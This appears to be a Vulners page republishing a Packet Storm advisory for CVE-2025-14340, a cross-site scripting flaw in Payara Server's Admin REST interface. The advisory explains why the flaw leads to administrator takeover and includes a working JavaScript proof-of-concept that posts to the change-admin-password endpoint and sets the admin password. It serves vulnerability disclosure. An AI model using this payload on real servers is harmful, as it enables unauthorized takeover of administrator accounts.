Lucene search
K

📄 Payara Server Cross Site Scripting

🗓️ 24 Mar 2026 00:00:00Reported by DeepSecurity ResearchType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 98 Views

Payara Admin REST XSS enables admin takeover via password change without current password or CSRF.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-14340
10 Apr 202621:03
circl
CNNVD
Payara Server 安全漏洞
18 Feb 202600:00
cnnvd
CVE
CVE-2025-14340
18 Feb 202613:39
cve
Cvelist
CVE-2025-14340 Admin Account Takeover via malicious URL payload
18 Feb 202613:39
cvelist
Nuclei
Payara Server - Cross-Site Scripting
5 Jun 202603:02
nuclei
NVD
CVE-2025-14340
18 Feb 202614:16
nvd
Positive Technologies
PT-2026-20388
18 Feb 202600:00
ptsecurity
RedhatCVE
CVE-2025-14340
19 Feb 202619:21
redhatcve
Snyk
Cross-site Scripting (XSS)
18 Feb 202615:05
snyk
Snyk
Cross-site Scripting (XSS)
18 Feb 202615:05
snyk
Rows per page
# XSS to Admin account takeover (CVE-2025-14340)
    
    A Cross-Site Scripting vulnerability in Payara’s Administration Rest Interface, allows execution
    of attacker-controlled JavaScript leading to admin account take over. Because of:
    
    1. The panel uses HTTP Basic Auth (credentials are sent automatically by the browser for same-origin requests).
    2. The change-admin-password endpoint does not require the current password to update a user’s password.
    3. The change-admin-password form does not have CSRF protection.
    4. An injected script using the XSS in `/management/domain/version` can POST to `/management/domain/change-admin-password` and set an attacker-chosen password for any target account — resulting in administrator account takeover.
    
    #### Proof of Concept
    
    URL:
    
    `https://panel.example.com:4848/management/domain/version?<PAYLOAD>`
    
    PAYLOAD:
    
    ```
    <script>
    fetch('/management/domain/change-admin-password', {
     method: 'POST',
     headers: {
     'X-Requested-By': 'GlassFish REST HTML interface',
     'Accept': 'text/html',
     'Content-Type': 'application/x-www-form-urlencoded'
     },
     body:
    'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
    e-admin-password'
    });
    </script>
    ```
    
    ## Legal
    
    AUTHORIZED USE ONLY. DeepSecurity Perú does not endorse unauthorized access and takes no responsibility for any misuse of the information provided.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Mar 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 49.3
EPSS0.00567
SSVC
98